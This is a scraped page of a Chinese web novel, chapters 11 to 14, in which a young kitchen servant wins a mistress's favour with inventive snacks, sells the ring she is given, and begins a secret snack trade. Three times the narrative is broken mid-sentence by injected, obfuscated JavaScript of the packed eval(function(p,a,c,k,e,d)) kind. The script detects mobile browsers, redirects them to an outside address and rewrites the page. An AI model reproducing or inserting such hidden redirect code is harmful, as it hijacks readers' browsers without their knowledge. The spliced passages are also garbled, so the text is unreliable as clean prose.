胡姣心里有些紧张，她不过一个灶下烧火的粗使丫头，何曾受过这般礼遇？忙欠身道：“姑娘折煞奴婢了，奴婢实在不敢当。” 兰娘见她拘谨，笑容反倒更深了些，柔声道：“在我这里，不必拘着那些虚礼。那日花厅里，多亏你扶了我一把，我一直记着，总想当面谢谢你。只是前些日子……” 她顿了顿，似乎不愿多提被功课拘束的事，转而问道：“你今年多大了？瞧着身量倒比芸豆高些。” “回姑娘话，奴婢八岁了。”胡姣依言坐了半个杌子，垂眼答道。 “八岁呀？比我小三岁呢。”兰娘点点头，又问，“家里几口人？都在府里当差么？” 胡姣便将自己父亲胡舫在外为梅娘子打理田庄，母亲刘氏管浆洗，幼弟豆哥儿尚小，以及自己在大厨房烧火的事，都一一简单答了。言语清晰，不卑不亢，既无夸大也无抱怨。 兰娘听得认真，末了轻叹一声：“小小年纪，便要当差辛苦了。在大厨房可还习惯？听说那张婆子脾气不大好？” “回姑娘，张妈妈待下虽严些，却是为着差事周全。奴婢手脚笨拙，正该跟着妈妈多学规矩，不敢说辛苦。”胡姣回答得滴水不漏。 两人正说着话，绣橘在一旁瞧着胡姣搁在脚边的小竹篮，抿嘴一笑，走上前对兰娘道：“姑娘瞧瞧，椒姐儿还给您带了份心意来呢！只是在您跟前还藏着掖着，不好意思拿出来。” 兰娘这才注意到那篮子，眼中露出讶异和好奇：“哦？带了什么好东西？怎的不早说？” 胡姣脸上一热，忙站起身，将篮子提到小几旁，揭开篾片盖子，露出里面粗瓷碟子盛着的芋头条。那金红相间的卖相在这素净的屋里显得有些突兀。 她窘迫道：“不是什么好东西，是奴婢在家胡乱做的一点子粗食，味道粗劣，不敢污了姑娘的眼。只是，头一次来拜见姑娘，空着手心里实在过意不去……” 兰娘的目光落在那碟奇特的点心上，非但没嫌弃，反而充满了兴致：“这叫什么名儿？样子倒新奇得很。”她说着，便示意芸豆：“去拿双干净筷子来。” 芸豆很快取来筷子。兰娘夹起一根芋头条送入口中。又接连吃了两口，才放下筷子。眼中满是惊喜，看向胡姣，“这真是你做的？用的是什么？” 胡姣见她喜欢，心中大定，连忙点头：“回姑娘，用的是苣根。原是今儿早上奴婢和弟弟去街上耍子，瞧着这苣根还算新鲜，就买回来试着做了。法子也是奴婢瞎琢磨的，先用油煎出脆壳，再用咸蛋黄炒出沙裹上，最后挂一层薄薄的糖霜，胡乱取了个名字叫‘金沙映雪’。” 兰娘便赞道：“椒姐儿，你这点心比外头铺子里卖的也不差什么。难为你怎么想出来的？竟能把那粗粝的莒根，变成这般美味。” 眼前这个穿着粗布旧袄，却眼神沉静、举止得宜的小丫头，兰娘越看越是喜欢。明明比自己还小几岁，说话做事却透着股通透与沉稳。更难得的是这份心意。 于是便让她以后若得了空，常来芳汀阁坐坐，陪着说说话。 胡姣自然不会拒绝，只道：“姑娘不嫌奴婢粗笨聒噪就好。” 又坐了片刻，胡姣见天色不早，便起身告退。 兰娘亲自送到门口，又嘱咐绣橘：“替我送送椒姐儿。” 绣橘应了，陪着胡姣走出芳汀阁的院门。 然后，从袖中摸出一个素圈儿的银戒指，塞进胡姣手里：“拿着，这是姑娘赏你的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127970|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 那戒指入手微凉，分量实在。 胡姣吓了一跳，忙不迭地要推回去：“绣橘姐姐，这太贵重了，我万万不敢收。不过是举手之劳，哪里当得起姑娘如此厚赏？” 绣橘按住她的手，嗔道：“姑娘喜欢你，才赏你这个。若是寻常人，也不过抓把铜钱就打发了。姑娘待人最是和善不过，她既给了你，便是真心实意，你若不收，反倒辜负了姑娘的心意，叫她心里不安。” 胡姣见状便不再推辞。 她也不傻，做奴婢的，平日的进项除了月钱，便是主子零星的打赏。之前她买下那篮子苣根，也是想着能不能做些吃食出去卖，这样也能贴补些家里。只是没想到竟得了兰娘的赏，倒是意外之喜了。 不过，她还不清楚能不能私下做吃食卖呢，万一…… 看着绣橘真诚的笑脸，她心中一动，试探着道： “这戒指是姑娘的恩典，我自然珍重。只是……若论实在，倒不如赏几个钱更合用些，姐姐别笑话我眼皮子浅，家里先前为着我那场病，已是精穷了……” 绣橘闻言，非但没笑话她，反而理解地点点头：“这倒也是实话。姑娘赏东西，全凭心意。不过你既缺钱使，”她凑近些，压低声音道，“把这戒指悄悄拿去外头银楼熔了，或是直接当了，也能换些钱来周转。府里人多眼杂，你做得隐秘些，别让人瞧见就行。” 胡姣见她果然不是那等不食人间烟火的，心中便有了三分把握，继续道： “好姐姐，你今日帮我大忙了。不瞒姐姐说，我如今在灶上，总想着凭这点微末手艺，做些点心果子私下里卖，也好贴补家用。只是府里规矩严，不知……不知这事能做不能做？若被管事娘子们知道，怕是要吃挂落。” 绣橘像是看傻子一样看了她一眼，随即噗嗤一笑：“傻椒姐儿哟！规矩是死的，人是活的，明面上自然是不许的，可暗地里，只要没被人赃并获，谁管你？” 她下巴朝远方扬了扬，“二门上那些小厮，平日里帮各院的姐姐们捎带胭脂水粉、头绳绢花或是零食果子，哪月不赚些跑腿钱？府里睁只眼闭只眼罢了。只恨我在灶上没有相熟又手艺好的，不然早托人做了！” 胡姣听得心头怦怦直跳，眼睛都亮了几分。 绣橘又道：“我那些相好的姐妹，常在背地里抱怨，说托小厮们带的零嘴儿，又贵，味道又寻常，还要搭上人情。你若真能做得好吃，我替你牵线搭桥，包管你这买卖做得起来！” 这简直是瞌睡遇到了枕头。胡姣大喜过望，只觉得眼前豁然开朗，激动地抓住绣橘的手，说了一番感激的话，又要与她五五分成。 “打住打住！”绣橘连连摆手，“谁图你那三瓜俩枣了？我不过是瞧你人实在，又帮过姑娘，顺手的事罢了。你只管用心做了来，我先替你尝尝，若真个好，再帮你张罗。至于分成，以后再说吧！” 她说着，又叮嘱道，“你回去先琢磨琢磨能做些什么新鲜又不易坏的，等我这边有信儿了，自会寻你。” 12. 第 12 章 得了这番许诺，胡姣心中欢喜自不必说。当下辞了绣橘，脚步轻快地往下人院走。 快到院门口时，天刚擦黑，正瞧见一个人影鬼鬼祟祟的从门里出来。这样的行径，能干什么好事？ 胡姣赶忙上前几步叫住了他。那人倒吓了一跳，差点跌倒。 借着院里透出来的一点光亮，胡姣仔细看了一眼。 居然是王管事的儿子来哥儿。 这小子，成天不是偷东家的鸡，就是打西家的狗。仗着他老子是个小管事，他娘又和三房沾亲带故，根本不把其他下人的孩子放在眼里。之前就总是欺负她家豆哥儿，要不然原身也不会因为护着兄弟被他推倒，又不小心撞在石头上，一命呜呼了。 原以为，上次王管事带着他来赔礼道歉，又保证回去会严加管束，他能有所长进，没想到还是狗改不了吃屎。 对于这种熊孩子，胡姣向来是主张以暴制暴的。上次是她刚穿过来，身子虚，不然她肯定私下里套他麻袋。 “来哥儿，你家在甜水巷，来我们院儿里干什么？” 胡姣的声音冰冷，眼睛紧紧盯着他。 来哥儿本来就因为做了亏心事慌得很，又被胡姣撞见吓了一跳，此刻强装镇定：“我来什么地方，用得着你管吗？小心我揍你。” 胡姣见他还敢威胁自己，于是便道：“我是管不着你，可院儿里要是丢了什么东西，我可保不准我这张嘴会不会告诉赵妈妈，到时候就不知道赵妈妈会不会找王管事说话了。” 似乎是想起什么不好的回忆，来哥儿下意识地摸了摸屁股，却还是嘴硬。 “臭丫头，有什么了不起的，就会告黑状，有本事和我单挑啊！” 胡姣眯了眯眼睛，正合她意。前世她可是跆拳道黑带呢，熊孩子主动送上门来，不打白不打。 于是两个豆丁在院门口摆开架势。没一会儿，结果出来了。三七开。 胡姣三分钟左右开弓打了来哥儿七下。 每一下都打在隐秘部位，疼得他龇牙利嘴，还不敢回去跟家里说。 来哥儿委屈了，作为家里的金疙瘩，他从来都是要风得风要雨得雨的，什么时候遭过这份罪。早知道就不来下人院了。本来是想乘着天黑偷几件东西，好让臭丫头着急上火的，结果豆哥儿那小崽子在家看得严实，东西没偷到，反而被打了一顿。也不敢再多说什么，一瘸一拐地走了。 打完了熊孩子，胡姣神清气爽。见她娘刘氏不在家，便问豆哥儿去哪儿了。 豆哥儿说和刘氏一起管浆洗的钱婆子娶媳妇，请她去喝杯喜酒，已经去了有些时候了，估计就快回来了。 得知豆哥儿还没吃饭，胡姣便赶忙洗了手，去厨房做了一锅烂糊白菜汤。 所谓烂糊白菜汤，就是先将白菜（这里叫白菘）切碎炒软，再用少许油把一颗鸡蛋炒散，然后另起锅倒入面粉，炒到微微泛黄，接着就倒入开水，大火炖煮，没一会儿汤就呈现出奶白色，这时候再下炒好的白菜和鸡蛋，稍微再煮一会儿。出锅前再撒一点点盐和花椒粉就行了。 家里没有精面粉，胡姣用的是灰面，但味道也大差不差。豆哥儿一连喝了两碗才恋恋不舍地放下筷子。 吃了饭没多久刘氏就回来了。先是问她姐俩有没有吃过饭，又问胡姣去了芳汀阁有没有被为难。 胡姣则是将芳汀阁的情形拣要紧的说了，兰娘如何和气，如何夸赞她的点心，如何赏了戒指。末了，又将绣橘愿意帮忙牵线私下做买卖的事也一并说了。 刘氏听完，整个人都呆住了。她想到兰娘的善心，再想到绣橘竟肯如此提携自家女儿……只觉得像在做梦一般。 半晌，才猛地回过神，双手合十，朝着虚空连连拜了几拜，嘴里不住地念叨：“阿弥陀佛！椒姐儿，你这真是遇上贵人了。” 胡姣把那枚小银戒指塞进刘氏手里，道：“阿娘，您明日下工后，寻个妥当地方，不拘是银楼还是当铺，将这戒指换成钱来。记得多问几家，莫要被人压低了价钱。” 刘氏点点头：“娘省得！你明儿只管安心去当差，这事包在娘身上。” 次日一早，胡姣依旧天不亮便去了大厨房。直到申末时分，天色擦黑，胡姣才回到自家矮屋。刚掀开帘子，一股暖意便包裹上来。 “椒姐儿，可回来了！” 刘氏立刻站起身，脸上带着压抑不住的喜色，几步迎上前，将胡姣拉到炕前。炕上黄澄澄、沉甸甸的铜钱堆在一起，像个小山丘，这就是刘氏白天用银戒指换回来的钱。 “多少？”胡姣的声音带着自己都未察觉的紧张。 刘氏脸上漾开一个得意的笑容，伸出手指比划了一下：“足足七百一十文。” “七百一十文？！”胡姣倒抽一口凉气，饶是她早有心理准备，也被这个数目惊住了。 要知道，府里像鲍娘子那样的管事娘子，一个月的月钱也不过六百文。她娘刘氏管浆洗，一个月只得三百文。至于她自己，刚转正的烧火丫头，月钱是一百文。这一枚小小的银戒指，竟抵得上她和娘亲两个人快两个月辛苦奔忙所得。 刘氏拉着女儿坐下，絮絮叨叨说起今日的经过。 “我听了你的话，先去了西街那家最大的‘庆丰银楼’，那掌柜的拿起戒指掂了掂，只肯出五百文，说成色也就那样。我不死心，又去了‘宝来当铺’，那朝奉更是黑心，竟说戒指太素，不值钱，顶多四百八十文，气得我扭头就走！ 后来想着，南市口还有一家老字号‘瑞丰银楼’，门脸不大，掌柜的倒是个十分和气的。他接过去，仔仔细细看了，又用小戥子称了，说足有六钱重，成色也好，便按着今日的银饰价格，一钱银子兑一百一十八文钱，六钱整好是七百零八文，那老掌柜爽快，直接凑了个整，给了七百一十文。还嘱咐我日后若有好东西，只管来寻他。” 刘氏说着，脸上满是庆幸，“阿弥陀佛，可算遇着个实在人！” 胡姣听得连连点头，又道：“阿娘，有了这些本钱，咱们的买卖就能干起来了。” 刘氏看着女儿，又看看炕上那堆铜钱，既欢喜又有些茫然：“椒姐儿，娘听你的。你说，咱们做些什么吃食好？这买卖，娘可是半点不懂。” 这个问题，胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127971|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姣昨夜在土炕上辗转反侧时，早已思量了无数遍。她条理清晰地分析道：“阿娘，我想过了。咱们这买卖，主要做给府里那些姐姐妹妹们，尤其是小丫头们。她们月钱不多，顶多百十来文，贵了可舍不得买。所以，东西既要好吃新奇，让人吃了还想吃，价钱还不能贵，得实惠。最好跟现在外头卖的那些点心果子不一样，这样才有新鲜劲儿，人家才愿意掏钱尝尝。” 她顿了顿，掰着手指头，将自己琢磨了一晚的三样点心说了出来：“我暂且想了三样：一样是甜滋滋、香喷喷的‘焦糖米花’，一样是酸酸甜甜、滑溜溜的‘海棠冻’，还有一样是又香又酥、滋味特别的‘怪味花生’。” “焦糖米花？海棠冻？怪味花生？” 刘氏和豆哥儿听得眼睛都直了，这些名儿听着就新鲜。 “对。”胡姣解释道，“焦糖米花，是用糙米做的，把糙米干炒爆开，再用熬化的饴糖裹上，又甜又脆，香得不得了。海棠冻呢，就用海棠果熬出汁来，加些糖，再用木莲籽点成冻儿，冰凉滑溜，酸甜开胃，女孩儿们肯定喜欢。怪味花生嘛，是先把花生炒酥了，再用五香粉、盐、糖调出咸甜麻辣的怪味儿裹上，吃着上头，下酒佐茶都好。” 刘氏听着女儿说得头头是道，心里也多了些底气。 “听着是新鲜！糙米家里倒是有，可这木莲籽、花生、海棠果……都得去买？” “正是。”胡姣从炕席下摸出一张叠好的纸，展开递给刘氏。 因为胡舫帮着梅娘子打理田庄，免不了要涉及到账目上的事，家里人耳濡目染都学会了认字，就连豆哥儿也能写出好些来，刘氏自然也会。 胡姣怕要买的东西太多，刘氏一下子记不住，所以干脆列了单子，让她照着买。 刘氏看了一下，说单子上的饴糖自己也会做，就用不着买了吧。 胡姣给她算了一笔账。外头一斤上好的饴糖大约在三十文，稍微差一点是二十文。她是买来做调味的，用不着那么好，买二十文一斤的就足够用了。如果自己在家做的话，还得额外消耗小麦和糯米，费时费力不说，也不一定能省多少。 刘氏一听也是，就没再坚持。又指着单子上的木莲籽问应该去哪里买，这东西她可没见过。 胡姣便说药铺里应该有，可以去问问看。又让她别忘了再买几节竹子回来做成竹筒，不然海棠冻没东西装。 全部都问清楚了，刘氏小心地收好那张采购清单，打包票道：“成，娘明日一准儿办妥！” 第二天晌午，刘氏一下工，连饭都顾不上吃，揣着钱便出了门。她依照单子上的顺序，一一采买。花生、海棠果都是寻常物，价格尚可。 木莲籽果然在药铺寻到，掌柜的听说用来做吃食，还颇感新奇。饴糖选了中等成色、价格适中的。 又寻了一处卖南货的，要了几根竹子，那伙计倒也实在，听说是做竹筒还帮忙切割好了，倒是省了刘氏的事儿。 就是单子最后的精面粉，价钱着实贵的咂舌，一斤就要四十文，还好胡姣只让她买了两斤。只是零零总总算下来，竟也花去了两百多文。 13. 第 13 章 当刘氏背着沉甸甸的褡裢回到家时，胡姣也刚好也下工回来。 刘氏一边往外掏东西，一边问这买卖心里到底能不能行。 她说这话时脸上满是心疼。 这也难怪，一下子就去了两百多文，顶得上家里三个月的嚼用了，以刘氏那般会过日子的性格，不心疼才见鬼了。 胡姣挽住她的胳膊，劝慰道：“阿娘，您想啊，这些都是咱们赚钱的本钱，那做买卖的，哪个开张前不得先投本钱进去？俗话说，舍不得孩子套不着狼，等咱们把东西做出来，卖出去，钱不就又回来了么？说不定还能翻着倍地赚回来，您就放心吧，女儿心里有数。” 听她这么说，刘氏心头的那点疑虑和心疼终于被压了下去。 却说胡姣来大厨房有些日子了，如今也算摸出了点门道。 忙起来时，恨不能生出三头六臂，连喝口水的空档都寻不着；可一旦过了饭点儿，那也是真能闲出屁来。 这不，今日刚交巳时，厨房里便已拾掇得干干净净，再无甚要紧勾当。至于晚食的准备，那得到申时才开始张罗，中间隔着老大一段时间呢。 管事娘子们早早便各自归家歇息去了。留下的丫头、婆子们，也如同卸了磨的驴，不是懒懒散散地坐着打盹儿，就是三五成群溜出去寻相好的姐妹耍子。 翠姐儿和喜姐儿两个，也觉着身上乏，便问胡姣：“椒姐儿，左右无事，不如家去歪会儿？横竖离得近，申时再回来也误不了事。” 她们两个是大厨房的“老油条”了，只要没有差事，不是闲聊拉呱就是回家躺着，其实也不光是她们，大厨房里大多数的老人都这样。只要不出事儿，张婆子也就睁一只眼闭一只眼，基本上不管。 胡姣略一踌躇。她本不想回去，可转念一想，自己一个新来的，若显得太过“勤勉”，反倒惹人注目，不如随了大流，便点点头：“也好，回去歇歇脚。” 到家时，日头才爬高不久，堪堪巳时初刻。 见时间尚早，胡姣便想把那几样预备给绣橘品鉴的“样品”先做出来。 打定了主意，她便挽起袖子，净了手，准备先做海棠冻。这东西需要搓木莲籽，颇费工夫，但好在没啥技术含量。所谓的木莲籽其实就是冰粉籽，所以胡姣的海棠冻其实也就是山楂冰粉。 她将那黑褐色的木莲籽，小心地兜进一块洁净的细纱布里，扎紧了口。接着，寻了个干净的木盆，注满晾凉的开水，便将那纱布包浸入水中，双手用力地反复地揉搓起来。 这搓籽着实是个力气活。胡姣手腕用力，将那布包在清水里揉、挤、压、攥。不多时，额角便沁出细密的汗珠。渐渐地，那清水里开始泛起一层细腻绵密的泡沫，水色也变得粘稠滑腻起来，这便是木莲籽里的胶质已然渗出的表现。然后把熬好的海棠果糖浆倒进去搅匀，形成海棠冻的雏形。 接下来便是最关键的一步——点凝。传统的法子是加入生石灰水，取其碱性与胶质反应凝结。可胡姣觉得石灰这东西不太好弄，而且比例极难掌握，稍有不慎，点出的冻子便带着一股子苦涩味儿，所以进行了改良，用草木灰水代替。 材料是现成的。灶膛里每日都积着厚厚一层新鲜的稻草灰。胡姣小心地取出一些来，倒入另一个木盆，加入清水，细细搅匀。待灰烬尽数沉底，水色变得澄澈，再用细纱布一次次过滤，直到滤去所有灰渣，得到一碗颜色淡黄、清亮无杂的草木灰水。 接着，胡姣便将这过滤好的“天然碱水”少量多次地加入那盆粘稠的木莲水中，另一只手则握着筷子，顺着一个方向，不停地搅动。这是一个极其需要耐心的过程。 她目不转睛地盯着盆中变化，手腕酸麻也不敢停歇。只见那原本滑溜的液体，在草木灰水的作用下，渐渐变得厚重起来，呈现出一种半凝固的、微微晃动的胶冻状态，颜色也呈现出清透的粉嫩色。 “成了！”胡姣心中一松，知道已经差不多了。她停下搅拌，将海棠冻小心地装入干净的竹筒中，又把竹筒转移到阴凉避风处。 “剩下的，就交给时间吧。” 她抹了把额上的汗，看着那散发着淡淡草木清香和海棠果酸甜气息的“半成品”，眼中满是期待。 又歇了半盏茶功夫，胡姣便打起精神，开始做那焦糖米花和怪味花生。 其实焦糖米花最好是用玉米做，但这个世界还没有玉米，所以只能用糙米代替了。 米花好吃的关键在于米要爆得好。没有现代的爆米花机器，寻常做法直接炒糙米，又容易导致爆花率低或者炒糊，不过这根本难不倒胡姣，她早就想好了要用阴米做米花。 所谓阴米，就是将大米煮至断生，捞出沥干水分，摊开在阴凉通风处慢慢阴干。这种阴米比正常的米更加容易开花。前两日，她正好做了一些，此刻取出来，颗颗干爽，呈现出半透明的玉色，显然非常成功。 怪味花生本身倒没什么稀奇的，只是取个“巧”字，这种甜咸交织、麻辣鲜香的怪味特别容易让人上头。胡姣还进行了改良，先将花生炒熟再裹面衣，比生花生直接裹面糊炸更省油而且更酥脆。 “刘辣子家的椒姐儿在家里倒腾啥呢？一晌午进进出出多少回了。” 金桂娘对着正在卖力扎鞋底的金桂道。 两家离得近，又同在一个院儿里住着，有些风吹草动都瞒不过。胡姣在家里的这番动作，自然也引起了金桂家的注意。 金桂娘一向和刘氏不对付，忍不住要问又怕刘辣子找她麻烦，所以只能问她女儿。 金桂默不作声地把手里扎鞋底的棉线扯得沙沙响。这双鞋是给她弟弟金宝做的，用的是细布，鞋底子足有二十层，厚实得很，她根本扎不动，只能一锥子扎下去勾住线再双手使劲拔上来。 她自己脚上穿的是一双去年做的粗麻布的鞋，已经破了好几个洞了，她娘却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127972|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不肯给她扯块布做新的。 用她娘的话来说，家里穷，只能先紧着她兄弟，她妹子金铃不也和她一样穿着打补丁的鞋吗？又让她出去打听打听谁家不是这样。 可金桂知道隔壁刘婶子家就不是，她家椒姐儿和豆哥儿吃的用的都是一样的。上次椒姐儿磕在石头上差点儿死了，刘婶子把家里值钱的东西都当了，就为了给椒姐儿治病。 要是出事的是她，估计她娘也就是念叨一句“我苦命的儿”，然后就让她听天由命了。 “死丫头，老娘跟你说话呢！”见金桂一直不说话，金桂娘伸出一根手指狠狠戳在她脑袋上。 金桂这才道：“我也不清楚。” “不清楚，你不会去问吗？嘴长着干甚用的？况且你之前不是和那椒姐儿玩儿的还挺好吗？” 金桂娘一个劲儿地怂恿她去打探一下，金桂被念叨得没法子，只得放下锥子出门去。 “椒姐儿，你今儿倒得闲在家。看你一直在忙，做什么呢？” 做完三样点心，胡姣只觉得后背都洇湿了一大块。虽已过了立春，但倒春寒也不是闹着玩的，汗湿了衣裳贴在身上，极易着凉伤风。她不敢大意，刚准备去换件干爽的里衣，便看见金桂期期艾艾地站在门口朝里巴望。 她倒不讨厌这个金桂，尽管她曾经偷过自家的萝卜条，可那也是因为饿的不行了才偷的，而且她娘也赔了半碗灰面，算是扯平了。不过，不讨厌归不讨厌，她也不可能把自己私下在府里做买卖的事情告诉她，除非她疯了。 更何况她娘可不是什么好东西，要是让她知道了，保不齐明天早上，哦不，今天下午整个府里就都知道了。那她还要不要在这府里待了？ 于是，侧身挡住她探究的目光，笑眯眯地说豆哥儿想吃糖人儿，她闲着没事儿，就捣鼓看看能不能做出来。 金桂又朝里看了两眼，见什么也瞧不见，便讪讪地回去了。 “椒姐儿说她在给豆哥儿做糖人儿。” 听见女儿这样说，金桂娘一脸的不相信，做个糖人儿值得这样大费周章吗？又问她有没有亲眼看见。 金桂闷闷地道：“她挡的严实，我没看见里面到底是什么。” 金桂娘就骂她蠢，连一点小事儿都做不好。金桂也不反驳，继续扎她的棉鞋。只是扎的时候，手上的劲儿倒比之前大些了。 见金桂回去了，胡姣便嘱咐豆哥儿锁上厨房门，坐在门口守着，自己则是去里间换衣服。待她换好一件半旧的黄绿色袄裙出来的时候，便看见那竹筒里装着的海棠冻已完全凝固成型，呈现出一种剔透晶莹、粉嫩可人的质感，轻轻一晃，便柔柔地颤动。 胡姣心中大定。这三样费心琢磨的“样品”，色、香、形俱已齐备。事不宜迟，当下便每样捡了五六份，仍旧用她那简易食盒装了，又给豆哥儿拿了一些解馋，并嘱咐他好生看家不要乱跑，自己则前往芳汀阁去寻绣橘。 14. 第 14 章 到了芳汀阁院，恰见绣橘正让小丫头把檐下的两只猫儿抱走，免得打架吵到姑娘。 “绣橘姐姐。”胡姣忙上前招呼。 绣橘闻声抬头，见是她，脸上绽开笑容迎了上来：“椒姐儿，你怎么来了？” 胡姣脸上也带了笑：“还是上次和姐姐说的那事儿。今儿得闲胡乱琢磨出几样小食，想请姐姐品鉴品鉴，看合不合用。” “成。”绣橘爽快应道，“不过姑娘才刚歇下，咱们说话轻声些。到我屋里坐去。” 芳汀阁西厢一间耳房，便是绣橘的住处。屋子不大，却收拾得十分齐整干净，靠窗一张小炕，铺着半旧的青花布褥子，临墙一张小方桌并两个杌子。绣橘让胡姣坐了，自己也在对面坐下。 胡姣揭开食篮上的篾盖，将那几份精心准备的“样品”一一取出摆在小方桌上。 绣橘见了，便笑道：“改日我倒要问问婶子，怎么生就你这双巧手？这才几日功夫？我原想着你总得琢磨个三五天才能有信儿呢，谁承想你竟这么快便做得了，还做得这么好。” 胡姣笑笑，又让她尝尝味儿可还行。 绣橘便依次尝了，样样赞不绝口。尤其喜欢海棠冻，还道：“这个好，清甜爽口，姑娘这两天正嫌屋里的酪浆吃絮了腻得慌，要是见了这个，必定喜欢。” 然后，拉着胡姣的手打包票说这买卖肯定能成。又细细问了胡姣这三样点心如何存放，能搁几日，胡姣一一答了。 两人又说了几句闲话，胡姣便告辞出来。回到家中，陪着豆哥儿耍了一会儿，看看日头渐西，便起身往大厨房上工去了。 傍晚下了工，回家正碰上她娘刘氏端着碗站在金桂家门口阴阳怪气。 下午她回来，豆哥儿把金桂来打探消息的事情说了。刘氏一听就知道肯定是金桂娘又在作妖。刘氏可不惯着她，专挑晚食的时间堵在她家门口骂，就是要让她吃不下饭。 “哎唷，有些人哪就是这样的不要脸皮，整天扒着人家墙根儿。知道的说是关心我家，不知道的还以为偷儿踩点呢！其实也不用拐弯儿抹角地使唤孩子，你要想知道不如直接来找我，我把大门敞开请你来翻个遍！” 金桂娘被骂得门都不敢出，只敢躲在家里喊：“有什么了不起的？谁稀罕！” 她家对门的孙阿嫂瞧了一眼，默默对刘氏竖起大拇指。 这孙阿嫂也是管洒扫的，只是金桂娘在大房，她在二房。其实原本金桂娘不是这样，她们两人关系也还不错。可自从金桂爹死了之后，金桂娘就总是有各种各样的理由来她家。起初，她还以为是来找她的，可后来才发现金桂娘的眼睛总是盯着她男人孙同打转。 孙同这个狗男人也不是个东西，人家的手都快摸到他的手上了，还只顾嘿嘿笑，也不知道是真傻还是假傻。反正，不管真的假的，孙阿嫂都要把他这朵烂桃花掐了。 原本孙同是在二门上跑腿打杂的，天天能回家。后来孙阿嫂就求了梅娘子的奶娘赵妈妈，让他跟着刘氏的男人胡舫去了田庄上，基本上四五个月才回家一次。 金桂娘后来倒也问过几回，孙阿嫂只道：“他不长脑子，别人冲他笑一笑，魂儿都飞走了，我送他去长脑子去了。” 金桂娘便脸红红，两泡泪在眼里打转，一个劲儿地说孙阿嫂误会了。 孙阿嫂便道：“我误会什么了，你倒是说说？是误会你把手搭在我男人的手上，还是误会你眼珠子乱转？你也别太把人当傻子了，不戳破你是给你留着脸呢。不然，走的就不是我男人，而是另有其人了！” 这话说的金桂娘无言以对，只得抹着眼泪回家。从此以后，这俩人就成了死对头。 看完了金桂家门口的一场闹剧，众人各自回家休息，一夜无话。 次日，早食过后，大厨房里依旧差事清闲。几个丫头、婆子正围着翠姐儿，听她讲她新得的八卦，就见绣橘的身影出现在大厨房门口。 她今日穿了件新做的的葱绿色袄裙，站在外面朝胡姣招招手。胡姣见其他人都听得正入迷，于是借口说要回趟家溜了出来。 两人一前一后出了大厨房，直到离得远了，绣橘才道：“椒姐儿，你如今可真成‘香饽饽’了！” 胡姣心头一跳，忙问：“姐姐如何这样说？” 见她神色紧张，绣橘也不卖关子，便将她昨日如何将那点心样品送给要好的姐妹，她们又如何赞不绝口，想要下单订购的事情说了一遍。 她顿了顿，语气带着几分促狭，“不过，我也说了，你这东西用料实在，滋味又好，可不能太便宜了她们。” 胡姣笑道：“姐姐这话可让我怎么说。做这买卖，原就指着各位姐姐妹妹们帮衬，哪敢胡乱开价？都是些家常东西，不过费些心思功夫罢了。” 当下也不藏私，细细把账目算给绣橘听：“焦糖米花，用的是糙米和饴糖，一文钱一包，若买三包，只收两文钱，算是薄利多销。海棠冻是木莲籽和海棠果做的，吃的时候装在竹筒里，看着更清爽些，竹筒押金一文钱，冻子本身也收一文，若姐姐们把空竹筒送回来，那一文押金便如数奉还；若是瞧着竹筒好，想留着使唤，那便两文钱连冻带筒一起买去。至于怪味花生，花生米、面糊、香料都要本钱，费油也多些，便卖两文钱一包。姐姐看，这样可使得？” 绣橘听她说完直摇头，怪她卖的太贱了。一文两文的和白送有什么两样？材料不要钱？还有油火和功夫呢。 胡姣心头一暖，知道绣橘是真心替自己着想，但还是解释道： “好姐姐，这买卖我是存了细水长流的心思。府里当差的姐姐妹妹们，月钱有限，一文两文看着不多，时间长了也是笔开销。我定价低些，她们吃着欢喜，也舍得常买。若是定得高了，尝个新鲜便罢，只怕日后就舍不得了。 再者，这终究是背着府里私下做的，大家得了实惠，心里痛快，这买卖才能做得长久稳当。姐姐放心，这价钱我算过，虽利薄，但还不至于亏了本钱，只是赚得慢些罢了。” 绣橘听她条分缕析，眼神里便又添了几分敬佩。这椒姐儿年纪虽小，心思却比许多大人还通透明白，于是更觉得和她结交对了。也不再多言，只让她明儿先送一批来。又说她那几个姐妹，加上她们各自相好的，加起来少说也有十七八个人，可别太少了不够分。 胡姣心中盘算一下，便说每样先做二十份，明儿让她兄弟豆哥儿分批送到芳汀阁后院角门处。 当日下了工，胡姣便脚下生风，紧赶慢赶回到家中。她娘刘氏早已备齐了材料，豆哥儿也乖乖地坐着，只等着她回来。 接着，娘三个配合默契，小小的灶屋立时活跃起来，锅碗碰撞声、食材烹饪声、柴火噼啪声交织成一片。待几样点心分门别类装好，夜已深沉，三人赶紧洗漱一番上床睡觉。 